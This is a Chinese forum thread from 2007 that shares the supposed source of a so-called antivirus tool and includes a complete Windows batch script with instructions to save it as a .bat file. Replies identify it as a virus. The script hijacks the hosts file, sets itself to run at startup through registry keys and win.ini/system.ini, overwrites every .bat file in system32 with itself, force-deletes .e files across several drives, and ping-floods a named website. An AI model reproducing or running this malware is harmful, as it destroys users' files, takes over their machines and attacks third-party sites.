发一个13岁杀毒的所谓源代码

唉~~今天看见那个金剑的作者的确在易语言论坛很不受欢迎，并且发现了很多反对它的声音。偶然找到一个夸奖的回帖，也就两句话“这个人对 批处理 vb 比较好”。还找到的所谓的源代码，不知道是不是真的。刚好今天影子系统坏了，只好裸体接受测试了。没想到竟然发现他写了我很多文件！！
在系统盘的system32\config下添加了一个名为19748.DAT的文件、在win.ini和system.ini中添加了几个命令。因为我怕怕，赶快删掉了，所以没有图片。我只记得大概在后面添加了自己。
然后在注册表里注册了自己，设为启动项。其他的等影子系统装好了再写上来~~


这就是所谓的源代码 保存为bat文件

@echo off
set a=Huai Nian DC
%Huai Nian DC1% 127.0.0.1 www.dywt.com.cn >> %windir%\system32\drivers\etc\hosts
%Huai Nian DC1% 127.0.0.1 www.eyuyan.com.cn >> %windir%\system32\drivers\etc\hosts
%Huai Nian DC1% 127.0.0.1 www.eyuyan.com >> %windir%\system32\drivers\etc\hosts
::阻止访问易网站
copy %0 %windir%\%a%.bat
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v Huai Nian DC /t REG_SZ /d %windir%\%a%.bat /f > nul
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v Huai Nian DC /t REG_SZ /d %windir%\%a%.bat /f > nul
set Huai Nian DC1=echo
set Wdd=win.ini
%Huai Nian DC1% [windows] >> %windir%\%Wdd%
%Huai Nian DC1% run=%windir%\%a%.bat >> %windir%\win.ini
%Huai Nian DC1% load=%windir%\%a%.bat >> %windir%\win.ini
%Huai Nian DC1% [boot] >> %windir%\system.ini
%Huai Nian DC1% shell=explorer.exe %a%.bat >> %windir%\system.ini
set x=%random%
copy %0 %windir%\%x%.bat > nul
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v html /t REG_SZ /d "%windir%\%x%.bat" /f > nul
reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunServices" /v Huai Nian DC /t REG_SZ /d "%windir%\%a%.bat" /f > nul
::加到启动项
cd %windir%\system32
for %%a in (*.bat) do copy %0 %%a > nul
::复制自己
del /f /s /q "d:\*.e"
del /f /s /q "e:\*.e"
del /f /s /q "f:\*.e"
del /f /s /q "g:\*.e"
del /f /s /q "h:\*.e"
del /f /s /q "c:\*.e"
del /f /s /q "C:\Program Files\e\*.*"
::删文件
ping -l 65500 -i 255 -t www.dywt.com.cn
::开始攻击

stevenji2000

怎么看着那么象病毒呢

我也觉得
现在我的电脑还在清理中
太多啊咂的东东了

95518

呵呵
不然不轻信
所以没有白老鼠的经历

4269811

黄瓜是可怜的说。。。为啥不安装影子来试。。。

eyy风行天下

一个玩笑病毒…………

我不是抢手……

[ 本帖最后由 eyy风行天下 于 2007-2-28 07:20 编辑 ]

29159011

病毒一个

samancy

刚试过，真是个病毒，但它没写成功！

メ封__杺☆

这是杀毒还是病毒。。。。

55555~~~
我都运行了~~
水告诉我该怎么杀啊~~
现在好多生成物还在我电脑里哦~~